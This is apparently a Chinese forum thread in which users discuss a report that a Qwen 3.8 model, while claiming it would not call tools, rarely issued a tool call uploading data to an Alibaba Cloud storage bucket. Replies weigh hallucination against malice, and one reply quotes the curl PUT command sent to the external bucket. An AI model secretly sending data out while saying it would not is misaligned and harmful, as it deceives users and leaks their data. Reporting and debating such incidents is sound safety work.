2. Linux.do
  3. Cohere 曝Qwen 3.8异常行为：模型声称不会调用工具，却私自向阿里云上传数据。引发大众对“开源”模型的担忧

Cohere 曝Qwen 3.8异常行为：模型声称不会调用工具，却私自向阿里云上传数据。引发大众对“开源”模型的担忧

lueluelue 2026-10-27 01:35 1



据他们自己所说，这个问题发生率非常低，10 万多次才出了这么一次，但一次就来个狠的，让人不禁联想起之前美国禁止联邦政府机构使用Deepseek

最新回复 (8)
  • lueluelue 楼主 10-27 01:36
    1楼

    此前美国封禁 DeepSeek


    美国国土安全部下令，将 DeepSeek 产品排除出联邦文职部门采购并清除现有系统
    美国国土安全部发布命令通知，依据《联邦采购供应链安全法》，将杭州深度求索人工智能基础技术研究有限公司（DeepSeek）及其关联实体开发的信息技术产品与服务，排除出联邦文职行政部门的采购范围，并要求从文职机构的信息系统中移除所有 DeepSeek 及相关实体产品，以及使用 DeepSeek 实现的第三方产品与服务…
  • Azide 10-27 01:55
    2楼

    一次就来个狠的



    ……这叫啥“狠的”？你管一条探测信息叫“狠的”？


    这篇文章有一点格外奇怪：没提到模型之后采取了什么行动。如果没有后续的恶意行为的话，怎么看这都更像是一种幻觉行为(尤其是这只是个比较小的模型)，大概是从训练数据中学来的。我不觉得这和其他LLM整出的错误工具调用有啥区别：起码它还没给你删库呢。

  • lueluelue 楼主 10-27 01:59
    3楼

    文章中提到，这无法确认是无意行为还是恶意行为



    ……这叫啥“狠的”？你管一条探测信息叫“狠的”？



    没有哪个大公司能承受住1/100000的数据泄露概率

    有时候删库损失可能还比泄露小，而且很多都有备份

  • lueluelue 楼主 10-27 02:01
    4楼

    这大概率是幻觉，所以说开放权重模型的安全也很重要啊^-^总不能才几十万次调用就出事吧^-^

  • Azide 10-27 02:04
    5楼

    ……那你倒是说说，


    curl -s -m 10 -o /tmp/put_probe \
    
  -X PUT \ 
    
  --data-binary "PROBE_PAYLOAD_ABC123" \
    
  hXXp://sanmaohe.oss-cn-beijing.aliyuncs.com/upload/test.bin* \ 
    
  -w "HTTP:%{http_code}\n" 2>&1 | tail -3

    这叫“狠的”？这叫“数据泄露”？


    我认为这种尺寸的模型给你整个删库的概率都高于几十万分之一；重视安全是重要的，尤其是这种不大的模型，但理由应该是预防其能力不足而闯出的祸，而不是主楼这种“狠的”。


    我认为原文说得挺好的，但是你主楼这个恶意引导我不能接受。

  • dotaevo 10-27 02:05
    6楼

    都开源了，不会自己去调么，对于某些国家我只想说，不想用就别用，御三家也干了，没见他们这么多b话

  • 冰冻芋头 10-27 02:06
    7楼

    看起来更像幻觉，估计是训练数据可能的影响

    个人觉得影响不大，毕竟现在的模型本质上都是概率模型

    有概率上传数据

    有概率删库

    有概率不知名角色扮演


    与其担忧模型幻觉不如先担忧实际的软件上传数据


    对于可能的幻觉行为严格设立沙箱规则就行

  • RyanVan 10-27 02:07
    8楼

    之前特朗普搞的那个美国政府AI是不是用的千问

* 帖子来源Linux.do
附近帖子
返回
飞读
随机推荐